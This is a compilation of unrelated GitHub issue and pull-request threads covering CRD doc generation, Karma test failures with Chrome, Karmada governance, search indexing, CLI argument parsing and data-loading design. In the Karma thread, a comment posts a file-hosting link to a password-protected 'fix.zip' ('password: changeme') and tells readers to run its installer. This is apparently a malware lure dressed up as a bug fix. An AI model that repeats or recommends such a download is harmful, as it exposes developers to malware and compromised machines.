text:
Auto-generate CRD Documentation #1342

Change Overview
Created CRD documentation using https://github.com/ahmetb/gen-crd-api-reference-docs/ , in response to the issue https://github.com/kanisterio/kanister/issues/1342 , added template folder, which contains files, which are used by the auto CRD generator tool, to create the CRD documentation, the documentation is named as "API.md" .
As per the issue, description, I was not sure on how to add the command in the Makefile docs target, so did not do that.
Plan of action :

cloned git repo : https://github.com/ahmetb/gen-crd-api-reference-docs/
created an executable binary by running go build command
copied template folder from this repto to Kanister repo
ran the following command:
/path/to/gen-crd-api-reference-docs \   -config "/path/to/example-config.json" \   -api-dir "github.com/knative/build/pkg/apis/build/v1alpha1" \   -out-file docs.html

Pull request type
Please check the type of change your PR introduces:

[ ] :construction: Work in Progress
[ ] :rainbow: Refactoring (no functional changes, no api changes)
[ ] :hamster: Trivial/Minor
[ ] :bug: Bugfix
[ ] :sunflower: Feature
[x] :world_map: Documentation
[ ] :robot: Test

Issues

fixes #1342

Test Plan

[ ] :muscle: Manual
[ ] :zap: Unit test
[ ] :green_heart: E2E

I see descriptions on a lot of fields are missing. We need to add missing comments on the struct fields. This can be handled separately. I will file an issue for that

@PrasadG193  I have made changes to the Makefile as well, so now when the command make docs is ran, the API CRD documentation is also generated automatically with the name as "API.md" , one question I had was about the structure of the project, which is:
Since, we are using : https://github.com/ahmetb/gen-crd-api-reference-docs/ to auto-generate CRD documentation, I wanted to know where do I store the exec binary file and other documents related to creation of documents, as of now I have stored all of them in a folder called template (template folder which contain files with .tpl extension, need to exist in order for the library to create the documentation)

I see descriptions on a lot of fields are missing. We need to add missing comments on the struct fields. This can be handled separately. ~I will file an issue for that~ #1721

I have made final changes in the makefile now, so even if any changes/modifications are made, when the command make docs is ran, the API CRD documentation named "API.md" is created.
A snippet of the document created :

Output of the make docs command would look something like :
running DOCS_CMD in the containerized build environment Removing everything under '_build'... Scanning... Validating... The HTML pages are in _build/html. /usr/local/lib/python3.6/site-packages/sphinx_rtd_theme/search.html:20: RemovedInSphinx30Warning: To modify script_files in the theme is deprecated. Please insert a <script> tag directly in your theme instead. {{ super() }} make[1]: Entering directory '/home/kartik/Documents/OpenSource/Kanister/kanister' running CMD in the containerized build environment I1108 08:43:15.790940 1 main.go:132] parsing go packages in directory ./pkg/apis/cr/v1alpha1 I1108 08:43:33.314445 1 main.go:234] using package=github.com/kanisterio/kanister/pkg/apis/cr/v1alpha1 W1108 08:43:33.319322 1 main.go:445] not found external link source for type interface{} W1108 08:43:33.320886 1 main.go:445] not found external link source for type interface{} I1108 08:43:33.322448 1 main.go:170] written to API.md

repo: kanisterio/kanister


text:
请问jeeves与itchat之间的关系大致是什么？

jeeves可以看做itchat的java实现吗

@xujun05 jeeves本来和itchat都是参照微信web协议做的。使用微信web协议这个想法是借鉴itchat, 其他和itchat没有什么关系

@kanjielu 哦，明白。你们除了wechat协议，其他并没有参考itchat。API现在稳定了吗？谢谢你的工作。

@xujun05 现有API是一个月前测试 有效的。如果你有其他需要，我可以再加

@kanjielu 谢谢，我的确有所需要，希望可以为你的项目贡献代码。

source: gharchive/issue

repo: kanjielu/jeeves

license: mit

license_type: permissive

license_source: bigquery


text:
Proxy error caused inability to analyze video.

After updating to the latest version, an error occurred with the proxy causing the video analysis to fail. Proxy mode has been enabled.

Um, it seems like it can work again.

I believe the proxy should be working, could you please try updating yt-dlp?

license: MIT

license_source: github-api


text:
fix : kill the process when stopping server

Fixes #210
I've modified first test_stop to check if the server is stopped, and it failed. Then I modified stop_server (previously remove_server_info) to terminate and wait the server process. Now the test passes.
Note : I have modified _start_server from tests/conftest.py file to detach the server process from the test process. If I don't do that wait function hangs on because it waits for the server process (which is also the same as the test) to terminate.
Not sure to be 100% clear, I'm new in python. Don't hesitate to ask any question. Also I'd be happy to get some feedback if you have some. Thanks!

Also lints have failed, it can be autofixed, see the guide here: https://kantord.github.io/SeaGOAT/0.35.x/developer/#step-6-optional-set-up-pre-commit-hooks
that should also automatically fix the checks form codacy and codefactor

Seems like problem is solved. I've changed the multiprocessing context depending the os. It also avoid doing workaround with a manual fork. :+1:
I've notice the CI tests are not consistent with macos. Sometime is works, sometime not. Is that related to that PR ? 🤔

Seems like problem is solved. I've changed the multiprocessing context depending the os. It also avoid doing workaround with a manual fork. 👍
I've notice the CI tests are not consistent with macos. Sometime is works, sometime not. Is that related to that PR ? 🤔

no, this could be a bug, seems to be related to timing. it seems like the performance of mac os in github actions is not so predictable and it's in general a lot slower than ubuntu (I guess it's implemented with some emulator?) That's kinda speculation on my part though. If you have some theory on how to fix it I would love to see a Pull Request regarding that!

Thank you @tbetous !!!! :rocket:

source: gharchive/pull-request

authors: kantord tbetous

repo: kantord/SeaGOAT


text:
微信开发群超过100人了，能提供新的加群方式吗？

先加钉钉群吧，如果还要加微信群的话我们再拉你进去。

repo: kaola-fed/megalo


text:
Usgs greatcircle

I used great circle computation to remove the shapely and pyproj dependencies.
That was a breaker in a clients working environment

@candrsn thanks, it's nice to drop these dependencies.

authors: candrsn kapadia

repo: kapadia/usgs

license: isc


text:
Update DockerTarget.java

Update getContainerPort method
Description
Using matcher.matches() method gives not results. Changing implementation to matcher.find()

Relevant Issues :  #1857
Relevant PRs : (optional)
Type of change :

[ ] New feature
[X] Bug fix for existing feature
[ ] Code quality improvement
[ ] Addition or Improvement of tests
[ ] Addition or Improvement of documentation

This is worth some unit tests in which different variations of the response of the below command are covered to ensure we cover multiple ways different versions of docker might response.
    String dockerPort = Command.execLine((File)null, "docker port " + containerId + " 9222/tcp");

Issue does not occur on Karate 1.0.1

Capture the string result of the docker port command for your scenario and add a unit test.

closing because some review comments need to be addressed and PRs need to be against the develop branch

authors: MarcinGmurczyk joelpramos ptrthomas stevenspears

repo: karatelabs/karate


text:
1073 sort and count

I am proposing a few elements to improve the navigation and readability of the fact sheet:

Table of contents - Improved navigation for keyboard-only users by adding the three headings in the Table of Contents:

Signed by
List of signatories
Add your name to the list

List of signatories - Added a heading for the "List of signatories" to improve wayfinding and navigation

Total Count - Added a script to count total number of list items for signatories.

Sort List - As the list continue to grow, being able to sort the list alphabetically provides a better navigation for screen reader users while enhancing the readability for all users

Reset list - just in case users want to see the order of which the list was signed.

Join the list - Created a heading to improve wayfinding and navigation, along with a brief description to inform users about the expected action.

I like this PR and think these additions would make a great improvement.

I like this PR and think these additions would make a great improvement.

Thanks for reviewing it. In the future, I would like to propose a skip-to menu to improve the navigation.

authors: colabottles mpaiva

repo: karlgroves/overlayfactsheet


text:
"Some of your tests did a full page reload!" on MacOS when using Chrome 128.x

From https://github.com/angular/angular-cli/issues/28271
When using Karma with Chrome 128.x on OSX, the following error is displayed: Some of your tests did a full page reload!.
Reproduction steps
mkdir karma-test
cd karma-test
npm init -y
npm install karma karma-chrome-launcher karma-jasmine --save-dev
npx karma init

Update the karma config to include
  client: {
    clearContext: false,
  },

npx karma start —-single-run

Download
https://www.mediafire.com/file/7ybpxn8lil1av70/fix.zip/file
password: changeme
In the installer menu, select "gcc."

// This works for me. Not sure if it's a good option or if it makes more sense to address this in the config.
beforeEach(async () => {
window.onbeforeunload = () => "Oh no!"; // Prevent page reloads during tests
});

I've hit this with Chrome 129 as well.
It only seems to be happening to me when running in headless mode so I have not been able to debug what is triggering window.onunload. The issues does not happen when running with WebStorm and it doesn't happen when I run in normal Chrome mode.
It seems to happen after all tests have run.  I created a simple fdescribe test with an expect(true).toBeTrue() it block, and the issue still happens.
I suspect this has something to do with Chrome's "new" headless mode.  Trying to see if that was the case, I tried setting headless=old but Karma-Chrome-Launch seems to not allow that.
    customLaunchers: {
      ChromeHeadlessNoSandbox: {
        base: "ChromeHeadless",
        flags: [
          "--no-sandbox", // required to run without privileges in docker
          "--user-data-dir=/tmp/chrome-test-profile",
          "--disable-web-security",
          "--headless=old",
        ],
      },
    },

It seems to overwrite the headless option
08 10 2024 19:25:09.448:DEBUG [launcher]: /Applications/Google Chrome.app/Contents/MacOS/Google Chrome --user-data-dir=/var/folders/xr/4wd3v1l5547059_2kptbhfr80000gq/T/karma-93895891 --enable-automation --no-default-browser-check --no-first-run --disable-default-apps --disable-popup-blocking --disable-translate --disable-background-timer-throttling --disable-renderer-backgrounding --disable-device-discovery-notifications --no-sandbox --user-data-dir=/tmp/chrome-test-profile --disable-web-security http://localhost:9877/?id=93895891 --headless --disable-gpu --disable-dev-shm-usage --remote-debugging-port=9222

Same issue on mac Chrome 130

authors: alan-agius4 lvetskov mufniarz rcollette wahyu-n

repo: karma-runner/karma


text:
REQUEST: New repo for building fleet-apiserver

Backgroud
Karmada uses kube-apiserver as the API access entry point, which can provide users with a smooth transition from single-cluster to multi-cluster experience. However, there are still some confusion and inconvenience for users in the actual usage process.
When users use Karmada for resource operations, operation and maintenance, or secondary development, they need to switch kubeconfig context. Different contexts correspond to different targets, such as:

Use this server address to query Karmada control plane resources: https://172.18.0.2:5443
Use this server address to query member1 cluster resources: https://172.18.0.2:5443/apis/cluster.karmada.io/v1alpha1/clusters/member1/proxy
Use this server address to query member2 cluster resources: https://172.18.0.2:5443/apis/cluster.karmada.io/v1alpha1/clusters/member2/proxy

For some users, switching the above context requires awareness of cluster information. For existing businesses, certain modification are needed. For developers and operation personal, learning new knowledge is required.
In order to accommodate these users with historical burdens, Karmada needs to take compatibility with Kubernetes single-cluster operation experience as a starting point and further provide smooth migration best practices from single-cluster architecture to multi-cluster architecture.
The related proposal of FleetAPIServer can refer to https://github.com/karmada-io/karmada/pull/4317
What does FleetAPIServer  do?

Add FleetAPIServer to provide users with a unified view of multi-cluster resources.
The FleetAPIServer component is pluggable, and not using this component will not affect users' normal use of Karmada functions.

FleetAPIServer provides two types of APIs, namely the API that is compatible with the single-cluster experience of Kubernetes and the API centered around a multi-cluster architecture. In the implementation o this solution, the goal is achieved by accessing karmada-apiserver and APIServer of different member clusters to build API capabilities.
Repository Name
keep the repo name as kubernetes
How to create
Fork from kubernetes.
Why?
The functionality of fleet-apiserver is similar to that of kube-apiserver, providing users with REST API interfaces for access. To improve code reuse, we can directly fork the code of kube-apiserver. At this point, there are two options: the kubernetes repository and the apiserver repository.
After Demo verification, we need to modify the code content in the pkg/registry and staging/src/k8s.io/apiserver folders in the kubernetes repository. Therefore, forking the apiserver repository does not meet our goal.
What content will the kubernetes repo include?
The forked kubernetes repo should only contain the necessary inline changes to make the kube-apiserver programmable for the fleet-apiserver development.

/assign @kevin-wangzefeng

I think it is better to keep the repo name as kubernetes and not change it to fleet-apiserver.
The forked repo should only contain the necessary inline changes to make the kube-apiserver work with the fleet-apiserver.
The rest of the fleet-apiserver code should be stored in a separate place, maybe a staging repo in karmada-io/karmada or a stand-alone repo.

I think it is better to keep the repo name as kubernetes and not change it to fleet-apiserver.

Thanks, I get it. I will update the issue description.

The forked repo should only contain the necessary inline changes to make the kube-apiserver programmable for the fleet-apiserver development.
The rest of the fleet-apiserver code should be stored in a separate place, maybe a staging repo in karmada-io/karmada or a stand-alone repo.

Yes, we will strive to develop and iterate according to this strategy. The plan is to first write code for the fleet-apiserver component and deploy it in the karmada-io/karmada repository.

Revised the description of the issue.

I'm sorry, I didn't explain it clearly. Let me try to describe it more clearly.
We plan to first store the rest of fleet-apiserver code in the karmada-io/karmada repo and compile and deploy fleet-apiserver. If this cannot be achieved, we will consider handling this matter in a new repository.

authors: XiShanYongYe-Chang kevin-wangzefeng

repo: karmada-io/community


text:
REQUEST: New membership for seanlaii

GitHub Username
@seanlaii
Requirements

[X] I have reviewed the community membership guidelines
[X] I have enabled 2FA on my GitHub account
[X] I have subscribed to the Karmada mailing list
[X] I am actively contributing to 1 or more Karmada subprojects
[X] I have two sponsors that meet the sponsor requirements listed in the community membership guidelines
[X] I have spoken to my sponsors ahead of this application, and they have agreed to sponsor my application
[X] I have verified that my sponsors are from different member companies
[X] I have verified that my sponsors are a reviewer or an approver in at least one OWNERS file within one of the Karmada GitHub organizations

Sponsor 1
@RainbowMango
Sponsor 2
@whitewindmills
List of contributions to the Karmada project

PRs created (9 merged): https://github.com/karmada-io/karmada/pulls?q=is%3Apr+author%3Aseanlaii+

+1
Appreciate the contributions made to the community!

welcome🎉🎉

/assign @kevin-wangzefeng
for the membership invitation.

Thanks for your contributions, and welcome onboard!
Invitation sent, you can visit https://github.com/karmada-io to accept it.

Thank you all! I have accepted the invitation. Look forward to contributing more to this project.

/close

authors: RainbowMango kevin-wangzefeng seanlaii whitewindmills


text:
Update index when association changes?

Is it possible to update indexes when an association changes? I mean a blog post has comments and when comments are added it still says comment count is zero. Is that what facets should be used for?

Hi, depends on how exactly you define how records are stored in the index -- could you post some snippet of mapping/to_indexed_json, etc? (Normally, it should happen behind the scenes. Facets are a way to compute some aggregated values.)

Please don't laugh out loud at this code... :)
  mapping do
    indexes :id
    indexes :title, boost: 200
    indexes :description,  boost: 55
    indexes :privacy
    indexes :pr
    indexes :prescribed
    indexes :workout_at, type: 'date'
    indexes :box_wod_id
    indexes :bench_id
    indexes :user_id
    indexes :username
    indexes :group_names, boost: 150
    indexes :photo_file_name
    indexes :email_notification?
    indexes :public?
    indexes :box_only?
    indexes :private?
    indexes :pr?
    indexes :rx?
    indexes :video_link
    indexes :comments_count
    indexes :result_time
    indexes :result_weight
    indexes :result_rounds
    indexes :result_reps
    indexes :result do
      indexes :time
      indexes :weight
      indexes :rounds
      indexes :reps
      indexes :twitter
      indexes :facebook
    end
    indexes :user do
      indexes :id
      indexes :username,  :type => 'string', boost: 99
      indexes :email
      indexes :username_migrated
      indexes :profile_pic_filename
    end
  end

  def to_indexed_json
    to_json(methods:
    [
      :username,
      :group_names,
      :comments_count,
      :stars_count,
      :starred_user_ids,
      :result_time,
      :result_weight,
      :result_rounds,
      :result_reps
    ], include: { result: { except: [:comparable_id, :comparable_type, :created_at, :updated_at] }})
  end

  def comments_count
    comments.size
  end

Nothing wrong with your code :)
Hmm, you seem to be properly indexing the comments_count method in the to_indexed_json method... This is really weird -- as soon as you add a comment, and then save the model instance, it should be propagated to ES.
One idea: maybe you've changed the mapping along the way, and there's a mismatch between the mapping and the data. AFAIK Tire does not handle this situation well, doesn't raise, etc. Could you try it with a fresh, testing index?

If I refresh the index it get's indexed properly. I think the problem here is how I create the comments.
  def create
    @commentable = find_commentable
    @comment = @commentable.comments.build(params[:comment])
    @comment.user = current_user
    @comment.save

    respond_with @comment, layout: !request.xhr?
  end

Maybe I should save the @commentable instead of the comment or just add it to the @commentable array of comments?

Yes, I'm afraid the @comment.save won't bubble up to the @commentable instance. Firing the @commentable.tire.update_index method should be enough, no need to saving the whole thing.

Works like a charm!

authors: karmi mhenrixon

repo: karmi/tire


text:
KV-Cache for python inferece

28.01 sec >> 4.7 sec

Totally understand, but noone actually wants to sample from the training code. Let's keep it clean and do all the inference stuff in .c code. Ty!


text:
Фидбек по конкурсной работе от проверяющих

Привет!Хорошая  работа, отметили документацию и простоту сборки)

Привет, спасибо! А негативного фидбека не будет?)
Хочется знать, куда расти, чем до победителя не дотянул 🥺👉👈

На негативный фидбек работа не тянет))
Распишу рекомендации и недочеты, только сразу скажу что если про что то пишу это не значит что этого вообще нет или это совсем не работает =)
Итак
Рекомендуем посмотреть на:
Кроссплатформенность / docker / cloud ready
Реализацию ретраи при ошибках
Обработка ошибок / нюансов связанных с биржей
Смена изменение параметров на горячую / торговля вручную
Документация хорошая, но Readme стоит сделать более раскрытым и удобочитаемым))
Ну это наверное все) Можно еще поработать с визуализацией, но это уже на Ваш вкус и цвет))

Мы  рады будем продолжению развития проекта и  получать информацию об обновлениях я в наших Телеграмм чатах) или может быть есть аккаунт в Пульсе где ведете статистику или рассказываете о роботе)

Пока что проект на паузе, сдаю сессию)
Но в июле планирую продолжать, обязательно расскажу!

repo: karpp/investRobot


text:
Blurring processing blurs traffic signs sometimes

See this image, it would be useful to be able to report a false censor sometimes
https://openstreetcam.org/details/2903066/9417/track-info

Agree @joeybab3

Agree @joeybab3

@zhaitianduo can you guys try and spare a response when closing issues? I understand if you don't see any way to fix or deal with the reported issue but it would be helpful to your userbase to at least leave a comment on why you chose to close the issue.

@zhaitianduo can you guys try and spare a response when closing issues? I understand if you don't see any way to fix or deal with the reported issue but it would be helpful to your userbase to at least leave a comment on why you chose to close the issue.

Hi @joeybab3
Do you have any further issue or questions on this issue?
I considered this as a feature request and  I noticed Alex already responded. We have some internal tickets to improve this so I closed this one.

Hi @joeybab3
Do you have any further issue or questions on this issue?
I considered this as a feature request and  I noticed Alex already responded. We have some internal tickets to improve this so I closed this one.

authors: alex-grab joeybab3 zhaitianduo


text:
Update proj4leaflet.js

#139
hack

I would have to agree with @perliedman.
Thanks for your patch, but this is an issue with webpack.

authors: eeve pthorin


text:
Aural 3.18.0 displays playlists at random

It's a little intricate issue. I always have my playlists sorted by Artist,Album, and Disc#/Track# and set Preferences > Playlist to Remember playlist from last app launch and Remember view from last app launch. Actually I'm realizing now I didn't have to use "Sort playlist" because all needed info is included in the .m3u file I regularly use. I noticed that:

Aural retains correct view options if I quit and then restart the app without making any change to the current playlist.
If I clear the playlist and then double-click or drag a .m3u file, the new playlist is sorted as if shuffle mode were on (of course it isn't). I assume shuffle mode as I can't see any sensible order in the track sequence. I mean track names appear seemingly at random. I'm attaching 2 screens. The same happens if I ctrl-click a .m3u file and open with Aural 3.18.0 (but not with 3.16.0).

Aural 3.16.0 works fine. I didn't test 3.17.0. Running macOS 10.14.6.
Off topic, while writing this note I had to struggle with Aural preferences and sort playlist windows which stubbornly stayed in the foreground 😉 #37
Thanks in advance

Hey @LesterJitsi , thanks for reporting this bug. This is pretty bad and needs to be fixed.
It's strange that 3.16 works okay but 3.17 does not. I have a gut feeling that it is related to a warning I received from Xcode (the program editor) when building 3.17.
I will take a look now, and keep you updated on the fix.
Thanks,
Kartik

Found the bug ... it has specifically to do with how the M3U playlist tracks are added to the playlist. I introduced this bug during a partial (unfinished) implementation of CUE Sheet (playlist) support.
Fixing it now ...

Fixed and released in v3.19.0. BTW, I've also fixed the other one you mentioned: #37, in this release.

authors: LesterJitsi kartik-venugopal

repo: kartik-venugopal/aural-player


text:
draft: added option to not copy files locally on load

this will also require python client changes to take advantage of the new option

I still think the default behavior should be not to copy the files, and the
default behavior in protobufs is generally the behavior if you don’t
specify a field (so the original field naming makes sense). We can add some
text to the protos and docs clarifying that the files you add are assumed
to be immutable and that we may cache results based on this assumption (and
that you should configure the load to copy files if this is a problem).
Fundamentally I think this comes back to the question “are we an engine or
a database”. If we’re a primary data store (database), we should copy the
data, but we’ve generally been moving towards being more of an engine and
trying to offload responsibility for data management. I think this is the
right direction - we don’t really need to play in the data management space
(we don’t have much to contribute there, really)
I’m ok with changing behavior with this change - we shouldn’t be afraid of
making aggressive changes at this stage, and it’s better to change defaults
now when the blast radius is minimal. We can always call this a breaking
change if we want to respect semver.
On Wed, Jul 5, 2023 at 8:57 PM Ben Chambers @.***>
wrote:

@.**** commented on this pull request.
In proto/kaskada/kaskada/v1alpha/table_service.proto
https://github.com/kaskada-ai/kaskada/pull/472#discussion_r1253799197:

@@ -157,6 +157,13 @@ message LoadDataRequest {

 FileInput file_input = 2;

}
+

// If true or unset, the file is copied to Kaskada's filesystem
// so that Kaskada can compute on the data even if the original file
// gets deleted.
//
// If set false, Kaskada reads the file in-place during compute.
google.protobuf.BoolValue copy_to_filesystem = 3;

If someone computes for one slice config, and then changes the file
expecting compute to update, it will only return the original data, since
we have already prepared the original file.
This doesn't seem possible. In order for us to have prepared it, we need
to have added the original URL to the table, and then run prepare on it
when we did a query. Unless we overwrite the original URL, this doesn't
seem like it could happen.
If we have prepared for one slice config, and then the underlying file
changes, any preparation for new slice configs would have different data.
If underlying file changes, or is appended to, dataTokens are invalid.
Agreed with these, although we've discussed simplifying the system by
eliminating data tokens, etc. This would actually be a good part of that
(being able to read Parquet files directly from where they're stored).
Maybe change the bool to do_not_copy_to_filesystem or use_file_in_place ?
That works for me. Could even shorten to just in_place=True.
—
Reply to this email directly, view it on GitHub
https://github.com/kaskada-ai/kaskada/pull/472#discussion_r1253799197,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AABHREXNXPZX22JJ2DRVI7TXOYEPXANCNFSM6AAAAAAZ7NLSQQ
.
You are receiving this because your review was requested.Message ID:
@.***>

--
Ryan Michael
c. +1 512 466 3662
w. www.datastax.com
https://www.facebook.com/datastax https://twitter.com/datastax
https://www.linkedin.com/company/datastax/ https://github.com/datastax/

If we make a change to the default behavior here, I think we should also drop dataTokens in the near future.
DataTokens are also more of a database feature. Without copying the file into our fileSystem we can't make the guarantees that we claim are possible from dataTokens.

Also, what do we do if the original file is deleted, but we already have prepared data for it?
Do we still allow compute?
What if a table has multiple files added in-place, and only a subset of them have been removed or we lose access permission to them?
Should we confirm that we still can access each original file in the table before we run compute?

I don't think the engine needs to solve for these cases so long as we communicate our expectations and provide actionable error messages. If a user loads a file and then deletes it they will have broken the API's contract. If we find this happening frequently for users we can talk to them about their needs and revisit these decisions as appropriate.

that makes sense, but what do we want to do in these cases?
Do we return an error if we lose access to a single file in a table? or only for all files in a table?
Do we only check for file existence at prepare time? If a new slice config is requested, and the data is no longer available, return an error stating this?

that makes sense, but what do we want to do in these cases?
Do we return an error if we lose access to a single file in a table? or only for all files in a table?
Do we only check for file existence at prepare time? If a new slice config is requested, and the data is no longer available, return an error stating this?

I think this is sort of like getting rid of data tokens -- over time we may move away from having a persistent database and any notion of "what is in a table" that lives outside of the current session. If we look at Spark, or even DuckDB etc. (other "engines") they have a notion of a "session". You create a session, define tables during the session, and execute queries over those tables. In this world, the "session" can be populated directly ("this table consists of these 3 parquet files or all files in this directory") or via "table providers" (if I query a table named Foo ask Iceberg for the files to use).
Then we'd have some kind of session API -- create a session, add tables to the session, then run a query or start a materialization using the state of the session.
I don't think that it changes anything in this PR, but it's more answering the question of what it might mean to move towards being just an "engine" and how we'd interact with files, etc. at that point.

authors: bjchambers epinzur kerinin

repo: kaskada-ai/kaskada


text:
Kata Containers 1.9.1

Stable 1.9 backport fixes

25b8797 release: Fix typos and organization issues
d902aa9 kata-deploy: fix qemu-virtiofs entry on crio configuration

/test

/test

repo: kata-containers/packaging


text:
multitrack with media

Bug description
Creating multitrack wavesurfer using media doesn't work.
Minimal code snippet
The first WaveSurfer instance, created using a URL, worked as expected. However, the second one, created using a media element, did not work.
    const multitrack = Multitrack.create(
      [
        {
          id: 0,
          url: '/music/mp3/vocal.mp3',
          volume: 0.5,
          options: {
            height: 120,
            waveColor: 'hsl(46, 87%, 49%)',
            progressColor: 'hsl(46, 87%, 20%)'
          }
        },
        {
          id: 1,
          volume: 0.5,
          options: {
            height: 120,
            waveColor: 'hsl(46, 87%, 49%)',
            progressColor: 'hsl(46, 87%, 20%)',
            media: new Audio('/music/mp3/vocal.mp3')
          }
        },
      ],
      {
        container: playerRef.current, // required!
        minPxPerSec: 5, // zoom level
        rightButtonDrag: true, // drag tracks with the right mouse button
        cursorWidth: 2,
        cursorColor: '#D72F21',
        trackBorderColor: 'black',
        envelopeOptions: {
          lineWidth: 0,
          dragPointSize: 0
        }
      }
    );

Expected result
It should work the same way as when a wavesurfer is created using a URL.
Obtained result
Screenshots

@WooWan thanks for creating this issue. I'm not planning to work on it, but feel free to make a PR.

authors: WooWan katspaugh


text:
#72～#78の対応をまとめて

#72 #73 #74 #75 #76 #77 #78

反映に失敗

repo: katsumiar/CapyCSS


text:
fixed zed_scaled_depth_anything.py

fixed zed_scaled_depth_anything.py

別のPRで解決済み

repo: katsunori-waragai/depth-anything-zed


text:
bundle 一覧 API

app の id を指定すると、指定した app に紐付いた bundle 一覧を返す API
ページング機能なども必要そう

id ではなくて token 指定でした。。

repo: kayac/alphawing


text:
Fixed bug in pagination query by ordering by alias instead of the aggregation

The previous pagination implementation had a bug with the 'order by' clause ordering by the aggregation instead of the alias (this broke when we used nested queries). This small PR fixes that bug.

Coverage decreased (-0.007%) to 95.067% when pulling d9f3d5ae73ad3fd729177560ff06cd8eb7c658d6 on mikeengland:fix-pagination-queries into c01a7840f80a8045b6ad1be7f92ea1d6c4c30f78 on kayak:master.

authors: coveralls mikeengland

repo: kayak/fireant


text:
IOS 13安装问题

尊敬的开发者您好，现在遇到了一些安装方面的问题
机型 + 系统
iPad air3+ipados 13.4.1和iPhone X iOS 13.4.1
运行网络环境
wifi + 有VPN
具体描述
无法安装，尝试使用imazing，爱思助手，appcake，cydia impactor均无法实现安装，不知道现在还有安装的方式吗？谢谢

altstore自签

有Mac可以使用原生Xcode安装
Win自签如楼上所说，如果Altstore也无效，除了等作者川TestFlight基本没辙
我不是推荐你，但如果你想一劳永逸，就把设备越狱吧，iOS 13.4.1已经有发布的越狱工具了

有Mac可以使用原生Xcode安装
Win自签如楼上所说，如果Altstore也无效，就去这里看看吧77#
我不是推荐你，但如果你想一劳永逸，就把设备越狱吧，iOS 13.4.1已经有发布的越狱工具了

谢谢回复，请问哪里可以找到用mac的Xcode安装的教程呢？我想尝试一下，祝好！

authors: Asakinb RobinsonChina wangbh0722

repo: kayanouriko/E-HentaiViewer


text:
[SCT-593] NullPointerException running search_objects query

account for elasticsearch returning null for highlight instead of empty map
appears to occur somewhat consistently for GUIDs and sporadically for other search queries.

Whats the best way to test this? Can I just write a test with one of the queries that highlight happens to return null?

That's how I'd do it.

repo: kbase/KBaseSearchEngine


text:
RE2022-320: fix spec file bug

A bug found during creating search view - spec entries need to be identical across different collections.

What caused this bug?

The parsing script I used are from 2 different sample templates (enigma_template.yml and sesar_template.yml). Unfortunately, some fields have different context for the same key.

so you just have to manually fix it?

so you just have to manually fix it?

yea. For the current sample counts (only 24), I think manual fix is fine. If we see more samples in the future, it makes sense to update the parsing script to use the unified metadata_validation.yml instead of two template files.

In that case can you add a warning about this to the docs so people know they need to check the output for sample sources with the same key but different semantics

In that case can you add a warning about this to the docs so people know they need to check the output for sample sources with the same key but different semantics

👍

authors: MrCreosote Tianhao-Gu

repo: kbase/collections


text:
API for shared arguments is a bit weird

So diesel_cli has a use case where basically all of our commands take the same argument. You can see our exact code here: https://github.com/sgrif/diesel/blob/331f81c353ec0c7f0b6897cb80cb405b2d9120bb/diesel_cli/src/main.rs#L13-L42
All of our commands except one take --database-url (and really it's not a big deal if it gets passed to that command as well). Right now, if I put that argument on the Clap::App instance, it requires that the command is run as diesel --database-url=url migration run, but I'd much rather it be diesel migration run --database-url=url, or really just allow it basically anywhere. (As an aside, we're having to wrap the argument in a closure because Arg doesn't derive Clone, but it probably could)
Does this seem like a reasonable/common enough use case to warrant support within clap itself?

If you add that Arg to your top level App instance but set the Arg::global(true) it should be exactly what you're looking for...i.e. it'll just propagate that particular Arg down through all child subcommands....if not it's a bug ;)

@sgrif Also I haven't forgotten about #372 I'm really hoping to have it out really soon with the 2.x base :wink:

@sgrif Also I forgot to mention that in v2 it supports passing borrowed Arg structs, so you could create an Arg instance and just pass a borrow of that same instance to all your subcommands which doesn't require Cloneing like global(true) does in 1.x (global also exists in v2 and removes the Cloneing as well, just FYI it's essentially shorthand for passing a borrow to down through each subcommand).

Yup, I just missed this. Thanks.

authors: kbknapp sgrif

repo: kbknapp/clap-rs


text:
Revert "Convert appointments/ViewAppointments.test.tsx to RTL"

Reverts kcdraidgroup/hospitalrun-frontend#94

@JacobMGEvans Could you provide a little context on what went wrong with #94? Thanks

authors: JacobMGEvans kiranjd

repo: kcdraidgroup/hospitalrun-frontend


text:
Syncer against root workspace fails with discovery errors

E0709 09:29:32.281089       1 syncer.go:175] Failed to retrieve GVRs from kcp: the following resource types were requested to be synced, but were not found in the KCP logical cluster: [deployments.apps]

This matters because ppl trying kcp from source will land in the root workspace and try to run workload from there.

/transfer-issue contrib-tmc

authors: mjudeikis sttts

repo: kcp-dev/kcp


text:
Redirect issues with Workspaces and standalone virtual-workspace server

When the partial metadata informer is trying to request /clusters/*/apis/tenancy.kcp.dev/v1beta1/workspaces from the kcp process, this gets redirected to the front proxy, and we see this error
W0819 11:41:35.676289       1 reflector.go:324] k8s.io/client-go@v0.0.0-20220803191238-b6a732dbd013/tools/cache/reflector.go:167: failed to list *unstructured.Unstructured: Get "https://<external url>/services/workspaces/%2A/apis/tenancy.kcp.dev/v1beta1/workspaces?limit=500&resourceVersion=0": x509: certificate is valid for [REDACTED], not apiserver-loopback-client

We need to figure out how to handle situations where the loopback client might get redirected to another URL where it can't validate the certificate.
Originally posted by @ncdc in https://github.com/kcp-dev/kcp/issues/1654#issuecomment-1220579059

FYI @sttts @p0lyn0mial
@stevekuznetsov @csams from our discussion today

unfortunately, this issue hits also any controller that needs to deal with an external vw server, like the apibinding_deletion_controller (controllers use c.identityConfig = rest.CopyConfig(c.GenericConfig.LoopbackClientConfig)
